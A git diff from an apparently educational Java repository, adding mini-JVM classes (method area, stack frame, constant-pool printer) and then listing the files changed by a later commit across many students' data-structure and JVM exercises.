@@ -0,0 +1,68 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/MiniJVM.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..9b7e92ebdc
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..9c5726505a
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
index 14407bacbe..1786b7f4f4 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
@@ -40,7 +40,7 @@ public void print(){
 	}
 	
 	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		String path = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path);
 		String className = "com.coderising.jvm.test.EmployeeV1";
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
index 028161adc7..412f4c8651 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -18,7 +18,67 @@ public void print(){
 		
 		System.out.println("Constant Pool:");
 		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+		};
 		
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);			
+		}
 		
 		
 	}

From bda8a386dae79e675bec7665a7a3187835ad78f3 Mon Sep 17 00:00:00 2001
From: zheng <765324639@qq.com>
Date: Thu, 27 Apr 2017 22:02:32 +0800
Subject: [PATCH 133/262] Revert "Revert "update""

---
 .../275150374Learning/.idea/description.html  |  16 +-
 .../basic/linklist/LRUPageFrame.java          | 245 +++++
 .../basic/linklist/LRUPageFrameTest.java      |  29 +
 .../coding2017/basic/linklist/LinkedList.java | 290 ++++++
 .../coding2017/basic/queue/CircleQueue.java   |  50 +
 .../coding2017/basic/queue/Josephus.java      |  40 +
 .../basic/queue/QueueWithTwoStacks.java       |  42 +
 .../coding2017/basic/stack/Stack.java         |  49 +
 .../coding2017/basic/stack/StackUtil.java     | 102 ++
 .../basic/stack/expr/InfixExpr.java           |  95 ++
 .../basic/stack/expr/InfixExprTest.java       |  55 ++
 .../basic/stack/expr/PostfixExpr.java         |  81 ++
 .../basic/stack/expr/PostfixExprTest.java     |  35 +
 .../basic/stack/expr/PrefixExpr.java          |  68 ++
 .../basic/stack/expr/PrefixExprTest.java      |  42 +
 .../coding2017/jvm/attr/AttributeInfo.java    |  19 +
 .../coding2017/jvm/attr/CodeAttr.java         |  93 ++
 .../coding2017/jvm/attr/LineNumberTable.java  |  40 +
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  49 +
 .../coding2017/jvm/attr/StackMapTable.java    |  28 +
 .../coding2017/jvm/clz/AccessFlag.java        |  24 +
 .../coding2017/jvm/clz/ClassFile.java         |  91 ++
 .../coding2017/jvm/clz/ClassIndex.java        |  19 +
 .../coding2017/jvm/cmd/BiPushCmd.java         |  23 +
 .../coding2017/jvm/cmd/ByteCodeCommand.java   | 128 +++
 .../coding2017/jvm/cmd/CommandParser.java     |  85 ++
 .../coding2017/jvm/cmd/GetFieldCmd.java       |  22 +
 .../coding2017/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coding2017/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coding2017/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../orajavac/coding2017/jvm/cmd/LdcCmd.java   |  29 +
 .../coding2017/jvm/cmd/NewObjectCmd.java      |  19 +
 .../coding2017/jvm/cmd/NoOperandCmd.java      |  23 +
 .../coding2017/jvm/cmd/OneOperandCmd.java     |  27 +
 .../coding2017/jvm/cmd/PutFieldCmd.java       |  19 +
 .../coding2017/jvm/cmd/TwoOperandCmd.java     |  67 ++
 .../coding2017/jvm/constant/ClassInfo.java    |  30 +
 .../coding2017/jvm/constant/ConstantInfo.java |  40 +
 .../coding2017/jvm/constant/ConstantPool.java |  28 +
 .../coding2017/jvm/constant/FieldRefInfo.java |  60 ++
 .../jvm/constant/MethodRefInfo.java           |  59 ++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +
 .../jvm/constant/NullConstantInfo.java        |  19 +
 .../coding2017/jvm/constant/StringInfo.java   |  30 +
 .../coding2017/jvm/constant/UTF8Info.java     |  35 +
 .../orajavac/coding2017/jvm/field/Field.java  |  50 +
 .../jvm/loader/ByteCodeIterator.java          |  56 ++
 .../jvm/loader/ClassFileLoader.java           | 131 +++
 .../jvm/loader/ClassFileParser.java           | 139 +++
 .../orajavac/coding2017/jvm/loader/test.java  |  21 +
 .../coding2017/jvm/method/Method.java         |  85 ++
 .../jvm/print/ClassFilePrinter.java           |  53 ++
 .../jvm/print/ConstantPoolPrinter.java        |  60 ++
 .../jvm/test/ClassFileloaderTest.java         | 264 ++++++
 .../coding2017/jvm/test/EmployeeV1.java       |  26 +
 .../orajavac/coding2017/jvm/util/Util.java    |  50 +
 group02/727171008/.classpath                  |   1 +
 .../HarryHook/coding2017/array/ArrayUtil.java | 561 +++++------
 .../coding2017/array/ArrayUtilTest.java       | 291 +++---
 .../coding2017/basic/ArrayListTest.java       |  14 +-
 .../coding2017/basic/BinaryTreeNode.java      | 202 ++--
 .../coding2017/basic/BinaryTreeNodeTest.java  |  55 +-
 .../HarryHook/coding2017/basic/Iterator.java  |   8 +-
 .../coding2017/basic/LinkedListTest.java      | 631 ++++++-------
 .../HarryHook/coding2017/basic/List.java      |  22 +-
 .../HarryHook/coding2017/basic/ListTest.java  | 212 ++---
 .../coding2017/basic/MyArrayList.java         | 279 +++---
 .../coding2017/basic/MyLinkedList.java        | 886 ++++++++----------
 .../HarryHook/coding2017/basic/MyQueue.java   |  78 +-
 .../HarryHook/coding2017/basic/MyStack.java   |  83 +-
 .../HarryHook/coding2017/basic/QueueTest.java |  46 +-
 .../HarryHook/coding2017/basic/StackTest.java |  54 +-
 .../coding2017/download/DownloadThread.java   |  76 +-
 .../coding2017/download/FileDownloader.java   | 153 ++-
 .../download/FileDownloaderTest.java          |  84 +-
 .../coding2017/download/api/Connection.java   |  40 +-
 .../download/api/ConnectionManager.java       |  13 +-
 .../download/impl/ConnectionImpl.java         |  94 +-
 .../download/impl/ConnectionManagerImpl.java  |   8 +-
 .../coding2017/jvm/attr/AttributeInfo.java    |  19 +
 .../coding2017/jvm/attr/CodeAttr.java         | 111 +++
 .../coding2017/jvm/attr/LineNumberTable.java  |  69 ++
 .../jvm/attr/LocalVariableItem.java           |  49 +
 .../jvm/attr/LocalVariableTable.java          |  51 +
 .../coding2017/jvm/attr/StackMapTable.java    |  29 +
 .../coding2017/jvm/clz/AccessFlag.java        |  26 +
 .../coding2017/jvm/clz/ClassFile.java         | 133 +++
 .../coding2017/jvm/clz/ClassIndex.java        |  22 +
 .../coding2017/jvm/cmd/BiPushCmd.java         |  23 +
 .../coding2017/jvm/cmd/ByteCodeCommand.java   | 128 +++
 .../coding2017/jvm/cmd/CommandParser.java     | 155 +++
 .../coding2017/jvm/cmd/GetFieldCmd.java       |  18 +
 .../coding2017/jvm/cmd/GetStaticFieldCmd.java |  24 +
 .../coding2017/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coding2017/jvm/cmd/InvokeVirtualCmd.java  |  21 +
 .../HarryHook/coding2017/jvm/cmd/LdcCmd.java  |  29 +
 .../coding2017/jvm/cmd/NewObjectCmd.java      |  19 +
 .../coding2017/jvm/cmd/NoOperandCmd.java      |  23 +
 .../coding2017/jvm/cmd/OneOperandCmd.java     |  27 +
 .../coding2017/jvm/cmd/PutFieldCmd.java       |  19 +
 .../coding2017/jvm/cmd/TwoOperandCmd.java     |  67 ++
 .../coding2017/jvm/constant/ClassInfo.java    |  32 +
 .../coding2017/jvm/constant/ConstantInfo.java |  43 +
 .../coding2017/jvm/constant/ConstantPool.java |  31 +
 .../coding2017/jvm/constant/FieldRefInfo.java |  63 ++
 .../jvm/constant/MethodRefInfo.java           |  62 ++
 .../jvm/constant/NameAndTypeInfo.java         |  54 ++
 .../jvm/constant/NullConstantInfo.java        |  19 +
 .../coding2017/jvm/constant/StringInfo.java   |  33 +
 .../coding2017/jvm/constant/UTF8Info.java     |  42 +
 .../HarryHook/coding2017/jvm/field/Field.java |  44 +
 .../jvm/loader/ByteCodeIterator.java          |  58 ++
 .../jvm/loader/ClassFileLoader.java           |  92 ++
 .../jvm/loader/ClassFileParser.java           | 151 +++
 .../coding2017/jvm/method/Method.java         |  87 ++
 .../jvm/print/ClassFilePrinter.java           |  51 +
 .../jvm/print/ConstantPoolPrinter.java        |  25 +
 .../jvm/test/ClassFileloaderTest.java         | 342 +++++++
 .../coding2017/jvm/test/EmployeeV1.java       |  30 +
 .../HarryHook/coding2017/jvm/util/Util.java   |  22 +
 .../coding2017/linklist/LRUPageFrame.java     | 125 +++
 .../coding2017/linklist/LRUPageFrameTest.java |  34 +
 .../coding2017/litestruts/Configuration.java  | 157 ++--
 .../litestruts/ConfigurationException.java    |  21 +-
 .../litestruts/ConfigurationTest.java         |  67 +-
 .../coding2017/litestruts/LoginAction.java    |  35 +-
 .../coding2017/litestruts/ReflectionUtil.java | 112 ++-
 .../litestruts/ReflectionUtilTest.java        | 177 ++--
 .../coding2017/litestruts/Struts.java         |  42 +-
 .../coding2017/litestruts/StrutsTest.java     |  68 +-
 .../HarryHook/coding2017/litestruts/View.java |  53 +-
 .../coding2017/queue/CircleQueue.java         |  38 +
 .../HarryHook/coding2017/queue/Josephus.java  |  18 +
 .../coding2017/queue/JosephusTest.java        |  25 +
 .../HarryHook/coding2017/queue/Queue.java     |  55 ++
 .../coding2017/queue/QueueWithTwoStacks.java  |  37 +
 .../HarryHook/coding2017/stack/StackUtil.java | 138 +++
 .../coding2017/stack/StackUtilTest.java       |  78 ++
 .../coding2017/stack/expr/InfixExpr.java      | 103 ++
 .../coding2017/stack/expr/InfixExprTest.java  |  47 +
 .../coding2017/stack/expr/InfixToPostfix.java |  53 ++
 .../coding2017/stack/expr/PostfixExpr.java    |  54 ++
 .../stack/expr/PostfixExprTest.java           |  37 +
 .../coding2017/stack/expr/PrefixExpr.java     |  58 ++
 .../coding2017/stack/expr/PrefixExprTest.java |  43 +
 .../coding2017/stack/expr/Token.java          |  50 +
 .../coding2017/stack/expr/TokenParser.java    |  56 ++
 .../stack/expr/TokenParserTest.java           |  39 +
 group02/812350401/.gitignore                  |   5 +-
 group02/812350401/pom.xml                     |  26 +
 .../miniyk2012/coding2017/basic/Stack.java    |  25 -
 .../basic/linklist/LRUPageFrame.java          | 148 +++
 .../basic/linklist/LRUPageFrameTest.java      |  62 ++
 .../coding2017/basic/stack/Stack.java         |  43 +
 .../coding2017/basic/stack/StackUtil.java     | 158 ++++
 .../basic/stack/expr/InfixExpr.java           | 134 +++
 .../basic/stack/expr/InfixExprTest.java       |  52 +
 .../coderising/jvm/clz/AccessFlag.java        |  25 +
 .../coderising/jvm/clz/ClassFile.java         |  73 ++
 .../coderising/jvm/clz/ClassIndex.java        |  19 +
 .../coderising/jvm/constant/ClassInfo.java    |  24 +
 .../coderising/jvm/constant/ConstantInfo.java |  29 +
 .../coderising/jvm/constant/ConstantPool.java |  31 +
 .../coderising/jvm/constant/FieldRefInfo.java |  53 ++
 .../jvm/constant/MethodRefInfo.java           |  56 ++
 .../jvm/constant/NameAndTypeInfo.java         |  47 +
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 +
 .../coderising/jvm/constant/UTF8Info.java     |  30 +
 .../jvm/loader/ByteCodeIterator.java          |  79 ++
 .../jvm/loader/ClassFileLoader.java           |  89 ++
 .../jvm/loader/ClassFileParser.java           | 112 +++
 .../jvm/test/ClassFileloaderTest.java         | 176 ++++
 .../coderising/jvm/test/EmployeeV1.java       |  28 +
 .../coding2017/coderising/jvm/util/Util.java  |  26 +
 .../coderising/litestruts/Struts.java         |  26 +-
 .../coding2017/jvm/test/EmployeeV1.class      | Bin 0 -> 1056 bytes
 .../struts}/struts.xml                        |   0
 .../miniyk2012/coding2017/basic/ListTest.java |   6 +
 .../basic/{ => stack}/StackTest.java          |   4 +-
 .../coding2017/basic/stack/StackUtilTest.java |  86 ++
 .../download/FileDownloaderTest.java          |  13 +-
 .../jvm/loader/ClassFileParserTest.java       |  53 ++
 .../coderising/litestruts/StrutsTest.java     |   8 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  76 ++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 103 ++
 .../jvm/attr/ConstantValueAttr.java           |  30 +
 .../coderising/jvm/attr/LineNumberTable.java  |  60 ++
 .../jvm/attr/LocalVariableItem.java           |  40 +
 .../jvm/attr/LocalVariableTable.java          |  47 +
 .../coderising/jvm/attr/StackMapTable.java    |  36 +
 .../com/coderising/jvm/clz/AccessFlag.java    |  24 +
 .../src/com/coderising/jvm/clz/ClassFile.java | 120 +++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 +
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  21 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 125 +++
 .../com/coderising/jvm/cmd/CommandParser.java | 155 +++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  21 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  19 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  21 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  21 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  65 ++
 .../coderising/jvm/constant/ClassInfo.java    |  29 +
 .../coderising/jvm/constant/ConstantInfo.java |  41 +
 .../coderising/jvm/constant/ConstantPool.java |  46 +
 .../coderising/jvm/constant/FieldRefInfo.java |  59 ++
 .../jvm/constant/MethodRefInfo.java           |  61 ++
 .../jvm/constant/NameAndTypeInfo.java         |  50 +
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../coderising/jvm/constant/StringInfo.java   |  32 +
 .../com/coderising/jvm/constant/UTF8Info.java |  34 +
 .../exception/AddAnotherParserException.java  |  10 +
 .../exception/NoNextByteCodeException.java    |  10 +
 .../jvm/exception/NotAClassFileException.java |  11 +
 .../src/com/coderising/jvm/field/Field.java   |  65 ++
 .../jvm/loader/ByteCodeIterator.java          | 113 +++
 .../jvm/loader/ClassFileLoader.java           |  14 +-
 .../jvm/loader/ClassFileParser.java           | 154 +++
 .../src/com/coderising/jvm/method/Method.java |  77 ++
 .../jvm/print/ClassFilePrinter.java           |  52 +
 .../jvm/print/ConstantPoolPrinter.java        | 112 +++
 .../Util.java}                                |  26 +-
 .../src/com/coding/basic/BinaryTree.java      |  10 +-
 .../src/com/coding/basic/BinaryTreeNode.java  |  74 +-
 .../src/com/coding/basic/Iterator.java        |  16 +-
 .../zj-2017/src/com/coding/basic/List.java    |  18 +-
 .../zj-2017/src/com/coding/basic/Queue.java   |   8 +-
 .../zj-2017/src/com/coding/basic/Stack.java   |  30 -
 .../src/com/coding/basic/array/ArrayList.java |  37 +-
 .../src/com/coding/basic/array/ArrayUtil.java |  10 +-
 .../com/coding/basic/linklist/LinkedList.java |  71 +-
 .../src/com/coding/basic/stack/Stack.java     |  46 +
 .../src/com/coding/basic/stack/StackUtil.java | 158 ++++
 .../coding/basic/stack/expr/InfixExpr.java    | 120 +++
 .../coding/basic/stack/expr/PostfixExpr.java  |  46 +
 .../coding/basic/stack/expr/PrefixExpr.java   |  47 +
 .../basic/stack/expr/util/ExprIterator.java   |  31 +
 .../basic/stack/expr/util/FixExprUtil.java    | 174 ++++
 .../basic/stack/expr/util/Operator.java       |  70 ++
 .../coderising/jvm/ClassFileloaderTest.java   | 349 +++++++
 .../test/com/coderising/jvm/EmployeeV1.java   |  28 +
 .../test/com/coding/basic/BinaryTreeTest.java | 117 +--
 .../src/test/com/coding/basic/QueueTest.java  | 128 +--
 .../com/coding/basic/array/ArrayListTest.java |   4 +-
 .../com/coding/basic/array/ArrayUtilTest.java |   2 +-
 .../coding/basic/linklist/LinkedListTest.java |  14 +-
 .../coding/basic/{ => stack}/StackTest.java   | 152 +--
 .../com/coding/basic/stack/StackUtilTest.java |  95 ++
 .../basic/stack/expr/InfixExprTest.java       |  48 +
 .../basic/stack/expr/PostfixExprTest.java     |  38 +
 .../basic/stack/expr/PrefixExprTest.java      |  46 +
 .../structure/week2/ArrayUtilTest.java        |   1 -
 .../247565311/structure/week6/StackUtil.java  |  40 +-
 .../structure/week6/StackUtilTest.java        |   7 +-
 .../247565311/structure/week7/InfixExpr.java  |  93 +-
 .../structure/week7/InfixExprTest.java        | 112 ++-
 .../week567_miniJVM/attr/AttrFactory.java     |  80 ++
 .../week567_miniJVM/attr/AttributeInfo.java   |  19 +-
 .../week567_miniJVM/attr/CodeAttr.java        |  53 +-
 .../week567_miniJVM/attr/LineNumberTable.java |  18 +-
 .../attr/LocalVariableItem.java               |   7 +
 .../attr/LocalVariableTable.java              |   6 +-
 .../week567_miniJVM/attr/StackMapTable.java   |   2 +-
 .../week567_miniJVM/clz/ClassFile.java        |  76 +-
 .../constant/ConstantPool.java                |   6 -
 .../week567_miniJVM/constant/InfoFactory.java |  54 ++
 .../week567_miniJVM/constant/UTF8Info.java    |   3 -
 .../week567_miniJVM/field/Field.java          |  33 +-
 .../loader/ByteCodeIterator.java              |  34 +-
 .../loader/ClassFileLoader.java               |  24 +-
 .../{test => loader}/ClassFileLoaderTest.java |  44 +-
 .../loader/ClassFileParser.java               | 105 ++-
 .../week567_miniJVM/method/Method.java        |  47 +-
 .../week567_miniJVM/test/EmployeeV1.java      |  15 +-
 .../247565311/week567_miniJVM/util/Util.java  |   3 -
 .../main/java/com/zhaogd/array/ArrayList.java |   9 +-
 .../coding/basic/stack/StackUtil.java         |  14 +-
 .../coding/basic/stack/expr/InfixExpr.java    |  96 +-
 .../coding/basic/stack/expr/InfixExprS.java   | 102 ++
 .../basic/stack/expr/InfixExprTest.java       |  42 +-
 .../basic/stack/expr/InfixToPostfix.java      |  51 +
 .../coding/basic/stack/expr/PostfixExpr.java  |  51 +
 .../basic/stack/expr/PostfixExprTest.java     |  41 +
 .../coding/basic/stack/expr/PrefixExpr.java   |  56 ++
 .../basic/stack/expr/PrefixExprTest.java      |  45 +
 .../coding/basic/stack/expr/TParser.java      |  85 ++
 .../coding/basic/stack/expr/Token.java        |  77 ++
 .../coding/basic/stack/expr/TokenParser.java  |  57 ++
 .../basic/stack/expr/TokenParserTest.java     |  66 ++
 group12/382266293/src/array/ArrayUtil.java    | 256 ++---
 .../382266293/src/array/ArrayUtilTest.java    | 140 +--
 .../coderising/download/DownloadThread.java   |  23 +-
 .../com/coderising/download/DownloadUtil.java |  34 +-
 .../coderising/download/FileDownloader.java   |  98 +-
 .../download/FileDownloaderTest.java          |  12 +-
 .../coderising/download/api/Connection.java   |  30 +-
 .../download/impl/ConnectionImpl.java         |  52 +-
 .../download/impl/ConnectionManagerImpl.java  |  18 +-
 .../download/impl/DownloadUtil.java           |   8 +-
 .../src/com/coderising/jvm/attr/CodeAttr.java |  95 +-
 .../coderising/jvm/attr/LineNumberTable.java  |  50 +-
 .../jvm/attr/LocalVariableItem.java           |  30 +-
 .../jvm/attr/LocalVariableTable.java          |  57 +-
 .../coderising/jvm/attr/StackMapTable.java    |  12 +-
 .../com/coderising/jvm/clz/AccessFlag.java    |  18 +-
 .../src/com/coderising/jvm/clz/ClassFile.java | 108 ++-
 .../com/coderising/jvm/clz/ClassIndex.java    |  16 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++
 .../com/coderising/jvm/cmd/CommandParser.java | 179 ++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ++
 .../coderising/jvm/constant/ClassInfo.java    |  23 +-
 .../coderising/jvm/constant/ConstantInfo.java |  12 +-
 .../coderising/jvm/constant/ConstantPool.java |  11 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  55 +-
 .../jvm/constant/MethodRefInfo.java           |  51 +-
 .../jvm/constant/NameAndTypeInfo.java         |  33 +-
 .../jvm/constant/NullConstantInfo.java        |  11 +
 .../coderising/jvm/constant/StringInfo.java   |  18 +-
 .../com/coderising/jvm/constant/UTF8Info.java |  24 +-
 .../src/com/coderising/jvm/field/Field.java   |  42 +-
 .../jvm/loader/ByteCodeIterator.java          |  68 +-
 .../jvm/loader/ClassFileLoader.java           |  72 +-
 .../jvm/loader/ClassFileParser.java           |  74 +-
 .../src/com/coderising/jvm/method/Method.java |  85 +-
 .../jvm/print/ClassFilePrinter.java           |  52 +
 .../jvm/print/ConstantPoolPrinter.java        |  92 ++
 .../coderising/jvm/print/PrintVisitor.java    |  23 +
 .../jvm/test/ClassFileloaderTest.java         | 219 +++--
 .../com/coderising/jvm/test/EmployeeV1.java   |  48 +-
 .../src/com/coderising/jvm/util/Util.java     |  10 +-
 .../coderising/litestruts/LoginAction.java    |  24 +-
 .../src/litestruts/ActionXMLreader.java       |   1 +
 .../src/litestruts/Configuration.java         | 110 +--
 group12/382266293/src/litestruts/Struts.java  | 100 +-
 .../382266293/src/litestruts/StrutsTest.java  |  20 +-
 group12/382266293/src/litestruts/View.java    |   8 +-
 group12/382266293/src/test.java               |  59 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  56 ++
 .../coderising/jvm/attr/LineNumberTable.java  |  42 +
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  28 +
 .../coderising/jvm/attr/StackMapTable.java    |  30 +
 .../src/com/coderising/jvm/field/Field.java   |  33 +
 .../jvm/loader/ByteCodeIterator.java          |  54 +-
 .../jvm/loader/ClassFileLoader.java           |   2 +-
 .../jvm/loader/ClassFileParser.java           | 117 ++-
 .../src/com/coderising/jvm/method/Method.java |  57 ++
 .../jvm/test/ClassFileloaderTest.java         |   9 +-
 .../datastructure/linklist/LRUPageFrame.java  | 144 ---
 .../com/datastructure/stack/StackUtil.java    |  53 +-
 .../datastructure/stack/StackUtilTest.java    |  80 ++
 .../datastructure/stack/expr/InfixExpr.java   |  67 ++
 .../stack/expr/InfixExprTest.java             |  51 +
 .../src/task7/expr/InfixExpr.java             |  79 ++
 .../src/task7/expr/InfixExprTest.java         |  56 ++
 .../src/task7/expr/PostfixExpr.java           |  45 +
 .../src/task7/expr/PostfixExprTest.java       |  37 +
 .../src/task7/expr/PrefixExpr.java            |  47 +
 .../src/task7/expr/PrefixExprTest.java        |  44 +
 .../1507_977996067/src/task7/expr/Token.java  |  53 ++
 .../src/task7/expr/TokenParser.java           |  57 ++
 .../src/task7/jvm/attr/AttributeInfo.java     |  19 +
